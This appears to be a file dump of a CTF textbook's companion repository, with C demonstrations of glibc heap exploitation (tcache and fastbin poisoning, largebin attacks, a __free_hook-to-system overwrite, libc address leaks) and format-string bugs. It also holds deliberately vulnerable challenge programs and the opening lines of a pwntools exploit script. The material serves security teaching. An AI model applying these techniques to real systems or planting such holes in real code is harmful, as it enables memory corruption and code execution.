/dist/files/pwnable/04_resolve/hello_norelro_lazy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/04_resolve/hello_norelro_lazy -------------------------------------------------------------------------------- /dist/files/pwnable/04_resolve/hello_norelro_now: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/04_resolve/hello_norelro_now -------------------------------------------------------------------------------- /dist/files/pwnable/04_resolve/hello_relro_lazy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/04_resolve/hello_relro_lazy -------------------------------------------------------------------------------- /dist/files/pwnable/04_resolve/hello_relro_now: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/04_resolve/hello_relro_now -------------------------------------------------------------------------------- /dist/files/pwnable/04_resolve/hello_w_cf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/04_resolve/hello_w_cf -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_fastbin_dup: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_fastbin_dup -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "malloc_struct.h" 4 | 5 | int main(void){ 6 | void *ma, *mb; 7 | 8 | setbuf(stdout, NULL); 9 | 10 | ma = malloc(0x18); // A 11 | mb = malloc(0x18); // B 12 | printf("ma = %p, mb = %p\n", ma, mb); 13 | 14 | // fill up tcache 15 | for(int i=0; i<7; i++) 16 | free(calloc(1, 0x18)); 17 | 18 | free(ma); 19 | free(mb); 20 | free(ma); // vuln 21 | 22 | printf("1st calloc : %p\n", calloc(1, 0x18)); 23 | printf("2nd calloc : %p\n", calloc(1, 0x18)); 24 | printf("3rd calloc : %p\n", calloc(1, 0x18)); 25 | } 26 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_fastbin_poisoning: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_fastbin_poisoning -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_fastbin_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "malloc_struct.h" 5 | 6 | int main(void){ 7 | void *m, *victim; 8 | malloc_chunk *c; 9 | malloc_chunk fc __attribute__((aligned(16))) = { 10 | .size = 0x21, .mem = "Hello" 11 | }; 12 | 13 | printf("&fc : %p\nfc.mem = %s\n\n", &fc, fc.mem); 14 | 15 | m = malloc(0x18); 16 | c = mem2chunk(m); 17 | for(int i=0; i<7; i++) 18 | free(calloc(1, 0x18)); 19 | 20 | free(m); // to fastbin 21 | puts("Exploit!"); 22 | c->fd = (void*)&fc; // vuln 23 | 24 | calloc(1, 0x18); // from fastbin 25 | victim = calloc(1, 0x18); // alloc fc from fastbin 26 | strcpy(victim, "Hacked!"); 27 | 28 | printf("victim = %p\nfc.mem = %s\n", victim, fc.mem); 29 | } 30 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_fastbin_poisoning_via_tcache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_fastbin_poisoning_via_tcache -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_fastbin_poisoning_via_tcache.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "malloc_struct.h" 4 | 5 | int main(void){ 6 | unsigned long *m, *victim; 7 | malloc_chunk *c; 8 | unsigned long var = 0xdeadbeef; 9 | 10 | printf("&var : %p\nvar = %#lx\n\n", &var, var); 11 | 12 | m = malloc(0x18); // M 13 | c = mem2chunk(m); 14 | for(int i=0; i<7; i++) 15 | free(calloc(1, 0x18)); 16 | 17 | free(m); // to fastbin 18 | puts("Exploit!"); 19 | c->fd = ((void*)&var)-0x10; // vuln 20 | 21 | malloc(0x18); // from tcache (counts--) 22 | calloc(1, 0x18); // from fastbin (fastbin -> tcache) 23 | 24 | victim = malloc(0x18); // alloc var from tcache 25 | *victim = 0xcafebabe; // overwrite 26 | 27 | printf("victim = %p\nvar = %#lx\n", victim, var); 28 | } 29 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_hook: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_hook -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_hook.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(){ 7 | char *p; 8 | 9 | p = strdup("uname -a"); 10 | __free_hook = (void(*)(void*, const void*))system; 11 | free(p); 12 | } 13 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_largebin_link: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_largebin_link -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_largebin_link.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "malloc_struct.h" 4 | 5 | int main(void){ 6 | void *ma, *mb; 7 | malloc_chunk *ca, *cb; 8 | unsigned long var = 0xdeadbeef; 9 | 10 | printf("&var : %p\nvar = %#lx\n\n", &var, var); 11 | 12 | ma = malloc(0x428); // A 13 | ca = mem2chunk(ma); 14 | malloc(0); 15 | mb = malloc(0x418); // B 16 | cb = mem2chunk(mb); 17 | printf("ma = %p, mb = %p\nca = %p, cb = %p\n\n" 18 | , ma, mb, ca, cb); 19 | 20 | free(ma); // to unsorted 21 | malloc(0x438); // (A : unsorted -> large) 22 | 23 | puts("Exploit!"); 24 | ca->bk_nextsize = ((void*)&var) - 0x20; // vuln 25 | 26 | free(mb); // to unsorted 27 | malloc(0x438); // (B : unsorted -> large) 28 | 29 | printf("var = %#lx\n", var); 30 | } 31 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_leak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_leak -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_leak.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "malloc_struct.h" 4 | 5 | unsigned long ofs_libc_mainarena = 0x1ebb80; 6 | int main(void){ 7 | void *ma, *mb; 8 | malloc_chunk *ca; 9 | 10 | setbuf(stdout, NULL); 11 | 12 | ma = malloc(0x418); 13 | ca = mem2chunk(ma); 14 | malloc(0); 15 | mb = malloc(0x418); 16 | malloc(0); 17 | 18 | free(ma); 19 | free(mb); 20 | 21 | puts("UAF"); 22 | printf("heap base : %p\n", (void*)ca->bk - 0x6d0); 23 | printf("libc base : %p\n\n", (void*)ca->fd - 0x60 - ofs_libc_mainarena); 24 | 25 | void *p = malloc(0x418); 26 | malloc_chunk *c = mem2chunk(p); 27 | 28 | puts("Uninitialized"); 29 | printf("heap base : %p\n", (void*)c->bk - 0x6d0); 30 | printf("libc base : %p\n\n", (void*)c->fd - 0x60 - ofs_libc_mainarena); 31 | } 32 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_set_ismmapped: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_set_ismmapped -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_set_ismmapped.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "malloc_struct.h" 4 | 5 | int main(void){ 6 | unsigned long *m, *victim; 7 | malloc_chunk *c; 8 | 9 | m = malloc(0x418); 10 | malloc(0); 11 | c = mem2chunk(m); 12 | m[4] = 0xdeadbeef; 13 | printf("m = %p\nm[4] = %#lx\n\n", m, m[4]); 14 | 15 | free(m); // to unsortedbin 16 | 17 | puts("Exploit!"); 18 | c->size |= 2; // vuln 19 | 20 | victim = calloc(1, 0x418); // from unsortedbin 21 | printf("victim = %p\nvictim[4] = %#lx\n" 22 | , victim, victim[4]); 23 | } 24 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_size_expand: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_size_expand -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_size_expand.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "malloc_struct.h" 5 | 6 | int main(void){ 7 | void *m; 8 | malloc_chunk *c; 9 | unsigned long *target, *victim; 10 | 11 | m = malloc(0x18); // M 12 | c = mem2chunk(m); 13 | target = malloc(0x18); 14 | 15 | target[0] = 0xdeadbeef; 16 | printf("target = %p\n*target = %#lx\n\n" 17 | , target, *target); 18 | 19 | puts("Exploit!"); 20 | c->size = 0x41; // vuln 21 | free(m); // to tcache 22 | 23 | victim = malloc(0x38); // overwrap target 24 | memset(victim, 'A', 0x38); 25 | 26 | printf("victim = %p (%#zx byte)\n*target = %#lx\n" 27 | , victim, (mem2chunk(victim)->size)&~7, *target); 28 | } 29 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_size_shrink: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_size_shrink -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_size_shrink.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "malloc_struct.h" 5 | 6 | int main(void){ 7 | void *ma, *mb; 8 | malloc_chunk *ca; 9 | unsigned long *target, *victim; 10 | 11 | ma = malloc(0xa8); // A 12 | ca = mem2chunk(ma); 13 | target = malloc(0x18); 14 | mb = malloc(0x18); 15 | 16 | for(int i=0; i<7; i++) 17 | free(calloc(1, 0x88)); 18 | 19 | target[0] = 0xdeadbeef; 20 | printf("target = %p\n*target = %#lx\n\n" 21 | , target, *target); 22 | 23 | malloc_chunk *cp = ma + 0x80; // P 24 | cp->size = 0x51; 25 | cp->fd = cp->bk = cp; 26 | 27 | ((malloc_chunk*)mb)->prev_size = 0x50; 28 | ((malloc_chunk*)mb)->size = 0x10; 29 | 30 | ca->size = 0x91; // vuln 31 | free(ma); // trigger consolidate forward 32 | 33 | puts("Exploit!"); 34 | victim = malloc(0xd8); // overwrap target 35 | memset(victim, 'A', 0xd8); 36 | 37 | printf("victim = %p (%#zx byte)\n*target = %#lx\n" 38 | , victim, (mem2chunk(victim)->size)&~7, *target); 39 | } 40 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_size_shrink_top: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_size_shrink_top -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_size_shrink_top.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "malloc_struct.h" 4 | 5 | int main(void){ 6 | unsigned long *m, *victim; 7 | malloc_chunk *top; 8 | unsigned long var = 0xdeadbeef; 9 | 10 | printf("&var : %p\nvar = %#lx\n\n", &var, var); 11 | 12 | m = malloc(0x918); 13 | top = (void*)m + 0x910; 14 | top->size = 0x41; // vuln 15 | 16 | m = malloc(0xfb8); // trigger sysmalloc() 17 | top = (void*)m + 0xfb0; 18 | puts("Exploit!"); 19 | top->size = 0x41; // vuln 20 | 21 | malloc(0x48); // trigger sysmalloc() 22 | 23 | top->fd = (void*)&var; // tcache_poisoning 24 | malloc(0x18); 25 | 26 | victim = malloc(0x18); // alloc var from tcache 27 | *victim = 0xcafebabe; // overwrite 28 | 29 | printf("victim = %p\nvar = %#lx\n", victim, var); 30 | } 31 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_smallbin_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "malloc_struct.h" 4 | 5 | int main(void){ 6 | unsigned long *ma, *mb, *victim; 7 | malloc_chunk *ca; 8 | unsigned long var = 0xdeadbeef; 9 | 10 | printf("&var : %p\nvar = %#lx\n\n", &var, var); 11 | 12 | ma = malloc(0x18); 13 | ca = mem2chunk(ma); 14 | malloc(0); 15 | mb = malloc(0x18); 16 | for(int i=0; i<7; i++) 17 | free(calloc(1, 0x18)); 18 | 19 | free(ma); // to fastbin 20 | free(mb); // to fastbin 21 | malloc(0x400); // from top (malloc_consolidate()) 22 | 23 | malloc(0x18); // from tcache 24 | #ifdef ALLOC_STACK 25 | malloc(0x18); // from tcache 26 | #endif 27 | 28 | puts("Exploit!"); 29 | ca->bk = ((void*)&var) - 0x10; // vuln 30 | calloc(1, 0x18);// from smallbin (smallbin -> tcache) 31 | printf("var = %#lx\n", var); 32 | 33 | #ifdef ALLOC_STACK 34 | victim = malloc(0x18); // alloc var from tcache 35 | *victim = 0xcafebabe; // overwrite 36 | printf("\nvictim = %p\nvar = %#lx\n", victim, var); 37 | #endif 38 | } 39 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_smallbin_tcache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_smallbin_tcache -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_smallbin_unlink: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_smallbin_unlink -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_tamper_max_fast: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_tamper_max_fast -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_tamper_max_fast.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static unsigned long ofs_libc_malloc = 0x09d260; 5 | static unsigned long ofs_libc_main_arena = 0x1ebb80; 6 | static unsigned long ofs_libc_max_fast = 0x1eeb80; 7 | 8 | int main(void){ 9 | unsigned long addr_libc_base; 10 | void **main_arena; 11 | size_t *global_max_fast; 12 | 13 | addr_libc_base = (unsigned long)malloc - ofs_libc_malloc; 14 | main_arena = (void*)(addr_libc_base + ofs_libc_main_arena); 15 | global_max_fast = (void*)(addr_libc_base + ofs_libc_max_fast); 16 | 17 | void *m = malloc(0xb8); // M 18 | for(int i=0; i<7; i++) 19 | free(calloc(1, 0xb8)); 20 | malloc(0x1000); // huge (useless) 21 | 22 | printf("global_max_fast : %p (%#lx)\n" 23 | , global_max_fast, *global_max_fast); 24 | printf("main_arena : %p\ntop = %p\n\n" 25 | , main_arena, main_arena[12]); 26 | printf("m = %p\n\n", m); 27 | 28 | puts("Exploit!"); 29 | *global_max_fast = 0xc0bebeef; // vuln 30 | free(m); // to fastbin (top) 31 | 32 | printf("top = %p\n", main_arena[12]); 33 | } 34 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_tamper_tcache_bins: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_tamper_tcache_bins -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_tamper_tcache_bins.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static unsigned long ofs_libc_malloc = 0x09d260; 5 | static unsigned long ofs_libc_mp = 0x1eb280; 6 | 7 | int main(void){ 8 | unsigned long addr_libc_base; 9 | void *mp_; // malloc_per 10 | size_t *tcache_bins; 11 | 12 | addr_libc_base = (unsigned long)malloc - ofs_libc_malloc; 13 | mp_ = (void*)(addr_libc_base + ofs_libc_mp); 14 | tcache_bins = mp_ + 0x50; 15 | 16 | setbuf(stdout, NULL); 17 | printf("mp_ : %p (tcache_bins = %#lx)\n\n", mp_, *tcache_bins); 18 | 19 | unsigned long *m, *victim; 20 | unsigned long var = 0xdeadbeef; 21 | 22 | printf("&var : %p\nvar = %#lx\n\n", &var, var); 23 | 24 | m = malloc(8); 25 | *m = (unsigned long)&var; 26 | free(malloc(0x18)); 27 | 28 | puts("Exploit!"); 29 | *tcache_bins = 0xc0bebeef; // vuln 30 | victim = malloc(0x438); // alloc var from tcache 31 | *victim = 0xcafebabe; // overwrite 32 | 33 | printf("victim = %p\nvar = %#lx\n", victim, var); 34 | } 35 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_tcache_dup: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_tcache_dup -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_tcache_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "malloc_struct.h" 4 | 5 | int main(void){ 6 | void *m; 7 | 8 | m = malloc(0x18); 9 | printf("m = %p\n", m); 10 | 11 | free(m); 12 | ((tcache_entry*)m)->key = NULL; // vuln 13 | free(m); // vuln 14 | 15 | printf("1st malloc : %p\n", malloc(0x18)); 16 | printf("2nd malloc : %p\n", malloc(0x18)); 17 | } 18 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_tcache_poisoning: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_tcache_poisoning -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_tcache_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "malloc_struct.h" 4 | 5 | int main(void){ 6 | unsigned long *ma, *mb, *victim; 7 | unsigned long var = 0xdeadbeef; 8 | 9 | printf("&var : %p\nvar = %#lx\n\n", &var, var); 10 | 11 | ma = malloc(0x18); 12 | mb = malloc(0x18); 13 | 14 | free(mb); 15 | free(ma); 16 | puts("Exploit!"); 17 | ((tcache_entry*)ma)->next = (void*)&var; // vuln 18 | 19 | malloc(0x18); 20 | victim = malloc(0x18); // alloc var from tcache 21 | *victim = 0xcafebabe; // overwrite 22 | 23 | printf("victim = %p\nvar = %#lx\n", victim, var); 24 | } 25 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_unset_previnuse: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/attack_unset_previnuse -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/attack_unset_previnuse.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "malloc_struct.h" 6 | 7 | int main(void){ 8 | unsigned long *ma, *mb, *mc; 9 | malloc_chunk *cc; 10 | unsigned long *target, *victim; 11 | 12 | ma = malloc(0x28); // A 13 | target = malloc(0x18); 14 | mb = malloc(0x18); // B 15 | mc = malloc(0x88); // C 16 | cc = mem2chunk(mc); 17 | 18 | for(int i=0; i<7; i++) 19 | free(calloc(1, 0x88)); 20 | 21 | target[0] = 0xdeadbeef; 22 | printf("target = %p\n*target = %#lx\n\n" 23 | , target, *target); 24 | 25 | ((malloc_chunk*)ma)->size = 0x61; 26 | ((malloc_chunk*)ma)->fd = ((malloc_chunk*)ma)->bk = (void*)ma; 27 | 28 | assert(&mb[2] == &cc->prev_size); 29 | mb[2] = 0x60; 30 | puts("Exploit!"); 31 | cc->size &= ~1; // vuln 32 | free(mc); // trigger consolidate backward 33 | 34 | victim = malloc(0xe8); // overwrap target 35 | memset(victim, 'A', 0xe8); 36 | 37 | printf("victim = %p (%#zx byte)\n*target = %#lx\n" 38 | , victim, (mem2chunk(victim)->size)&~7, *target); 39 | } 40 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/fast2tcache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/fast2tcache -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/fast2tcache.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void){ 4 | void *p[4]; 5 | 6 | for(int i=0; i 2 | #include 3 | 4 | int main(void){ 5 | void *p; 6 | 7 | setbuf(stdout, NULL); 8 | printf("malloc(0x20000) = %p\n", malloc(0x20000)); 9 | printf("malloc(0x20000) = %p\n", malloc(0x20000)); 10 | printf("malloc(0x20000) = %p\n", p=malloc(0x20000)); 11 | printf("free(%p)\n", p); free(p); 12 | printf("malloc(0x20000) = %p\n", malloc(0x20000)); 13 | } 14 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/malloc_struct.h: -------------------------------------------------------------------------------- 1 | #ifndef MALLOC_STRUCT 2 | #define MALLOC_STRUCT 3 | 4 | #define chunk2mem(p) ((void*)(p)+0x10) 5 | #define mem2chunk(mem) ((malloc_chunk*)((void*)(mem)-0x10)) 6 | 7 | typedef struct malloc_chunk { 8 | size_t prev_size; 9 | size_t size; 10 | 11 | union{ 12 | struct { 13 | struct malloc_chunk* fd; 14 | struct malloc_chunk* bk; 15 | 16 | struct malloc_chunk* fd_nextsize; 17 | struct malloc_chunk* bk_nextsize; 18 | }; 19 | char mem[0x20]; 20 | }; 21 | } malloc_chunk; 22 | 23 | typedef struct tcache_entry { 24 | struct tcache_entry *next; 25 | struct tcache_perthread_struct *key; 26 | } tcache_entry; 27 | #endif 28 | -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/small2tcache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/05_heap/small2tcache -------------------------------------------------------------------------------- /dist/files/pwnable/05_heap/small2tcache.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void){ 4 | void *p[4]; 5 | 6 | for(int i=0; i 2 | #include 3 | 4 | int main(void){ 5 | void *p[5]; 6 | 7 | p[0] = malloc(0x88); malloc(0); 8 | p[1] = malloc(0xf8); malloc(0); 9 | p[2] = malloc(0x418); malloc(0); 10 | p[3] = malloc(0x88); malloc(0); 11 | p[4] = malloc(0x88); malloc(0); 12 | 13 | for(int i=0; i<7; i++){ 14 | free(calloc(1, 0x88)); 15 | free(calloc(1, 0xf8)); 16 | } 17 | 18 | for(int i=0; i 4 | 5 | int main(void){ 6 | unsigned int x; 7 | char *fmt1 = "%1$cOK\n"; 8 | char *fmt2 = "%2$cOK\n"; 9 | 10 | setbuf(stdout, NULL); 11 | printf("fmt1 :"); 12 | printf(fmt1, ' '); 13 | 14 | printf("fmt2 :"); 15 | printf(fmt2, ' '); 16 | } 17 | -------------------------------------------------------------------------------- /dist/files/pwnable/06_vulnfunc/fortify_printf_write: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/06_vulnfunc/fortify_printf_write -------------------------------------------------------------------------------- /dist/files/pwnable/06_vulnfunc/fortify_printf_write.c: -------------------------------------------------------------------------------- 1 | #define _FORTIFY_SOURCE 2 2 | 3 | #include 4 | 5 | int main(void){ 6 | unsigned int x; 7 | char *fmt1 = "%nOK\n"; 8 | char fmt2[] = "%nOK\n"; 9 | 10 | setbuf(stdout, NULL); 11 | printf("fmt1 : "); 12 | printf(fmt1, &x); 13 | 14 | printf("fmt2 : "); 15 | printf(fmt2, &x); 16 | } 17 | -------------------------------------------------------------------------------- /dist/files/pwnable/06_vulnfunc/fortify_strcpy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/06_vulnfunc/fortify_strcpy -------------------------------------------------------------------------------- /dist/files/pwnable/06_vulnfunc/fortify_strcpy.c: -------------------------------------------------------------------------------- 1 | #define _FORTIFY_SOURCE 1 2 | 3 | #include 4 | #include 5 | 6 | int main(void){ 7 | char buf[0x10]; 8 | 9 | strcpy(buf, "aaaabbbbccccdddd"); 10 | puts(buf); 11 | } 12 | -------------------------------------------------------------------------------- /dist/files/pwnable/06_vulnfunc/fsb_aarw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/06_vulnfunc/fsb_aarw -------------------------------------------------------------------------------- /dist/files/pwnable/06_vulnfunc/fsb_aarw.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(void){ 6 | char buf[0x50] = {}; 7 | unsigned long lv = 0xdeadbeef; 8 | 9 | setbuf(stdout, NULL); 10 | read(STDIN_FILENO, buf, sizeof(buf)); 11 | printf(buf); 12 | printf("\nBye!"); 13 | } 14 | -------------------------------------------------------------------------------- /dist/files/pwnable/06_vulnfunc/fsb_leak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/06_vulnfunc/fsb_leak -------------------------------------------------------------------------------- /dist/files/pwnable/06_vulnfunc/fsb_leak.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void){ 4 | char *buf; 5 | char *secret = "SECRET_KEY"; 6 | 7 | setbuf(stdout, NULL); 8 | scanf("%ms", &buf); 9 | printf(buf); 10 | } 11 | -------------------------------------------------------------------------------- /dist/files/pwnable/06_vulnfunc/fsb_random: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/06_vulnfunc/fsb_random -------------------------------------------------------------------------------- /dist/files/pwnable/06_vulnfunc/fsb_random.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | unsigned long key; 6 | 7 | int main(void){ 8 | char buf[0x30] = {}; 9 | unsigned long secret = 0; 10 | int fd; 11 | 12 | if((fd = open("/dev/urandom", O_RDONLY)) < 0) 13 | return -1; 14 | read(fd, &secret, 3); 15 | read(fd, &key, 3); 16 | close(fd); 17 | 18 | read(STDIN_FILENO, buf, sizeof(buf)); 19 | printf(buf); 20 | 21 | printf("\nsecret = %#08lx\nkey = %#08lx\n", secret, key); 22 | puts(key^secret ? "Wrong key..." : "Correct!"); 23 | } 24 | -------------------------------------------------------------------------------- /dist/files/pwnable/06_vulnfunc/fsb_twice: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/06_vulnfunc/fsb_twice -------------------------------------------------------------------------------- /dist/files/pwnable/06_vulnfunc/fsb_twice.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | unsigned long A = 0xdeadbeef; 4 | unsigned long B = 0xcafeba00; 5 | 6 | int main(void){ 7 | char *buf; 8 | void *p1 = &A, *p2 = &p1; 9 | 10 | scanf("%ms", &buf); 11 | printf(buf); 12 | 13 | printf("\nA = %#08lx (%s)\nB = %#08lx (%s)\n", 14 | A, A^0xdeadbeef ? "NG" : "OK", 15 | B, B^0xcafebabe ? "NG" : "OK"); 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/heap/chall_heap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfbook/2nd/c364a010b936eb428c70e91b656965a9b2e95bec/dist/files/pwnable/99_challs/heap/chall_heap -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/heap/chall_heap.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static int getint(int min, int max){ 5 | char buf[0x10] = {}; 6 | int n; 7 | fgets(buf, sizeof(buf), stdin); 8 | if((n=atoi(buf)) < min || n > max) exit(0); 9 | return n; 10 | } 11 | 12 | int main(void){ 13 | char* p[3]; 14 | 15 | setbuf(stdout, NULL); 16 | 17 | puts("You can malloc three times"); 18 | for(int i=0; i<3; i++){ 19 | printf("size (%d/3) >> ", i+1); 20 | p[i] = malloc(getint(0, 0x800)); 21 | } 22 | 23 | for(int i=0; i<3; i++) 24 | free(p[i]); 25 | 26 | printf("read buffer index >> "); 27 | printf("content : %s\n", p[getint(0,2)]); 28 | 29 | printf("write buffer index >> "); 30 | fgets(p[getint(0,2)], 8, stdin); 31 | 32 | puts("\nYou can malloc two times"); 33 | for(int i=0; i<2; i++){ 34 | int size; 35 | printf("size (%d/2) >> ", i+1); 36 | p[i] = malloc(size = getint(0, 0x800)); 37 | printf("content >> "); 38 | fgets(p[i], size, stdin); 39 | } 40 | 41 | for(int i=0; i<2; i++) 42 | free(p[i]); 43 | 44 | return 0; 45 | } 46 | -------------------------------------------------------------------------------- /dist/files/pwnable/99_challs/heap/exploit_heap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | bin_file = './chall_heap' 5 | context(os = 'linux', arch = 'amd64') 6 | # context(terminal = ['tmux', 'splitw', '-v']) 7 | # context.log_level = 'debug' 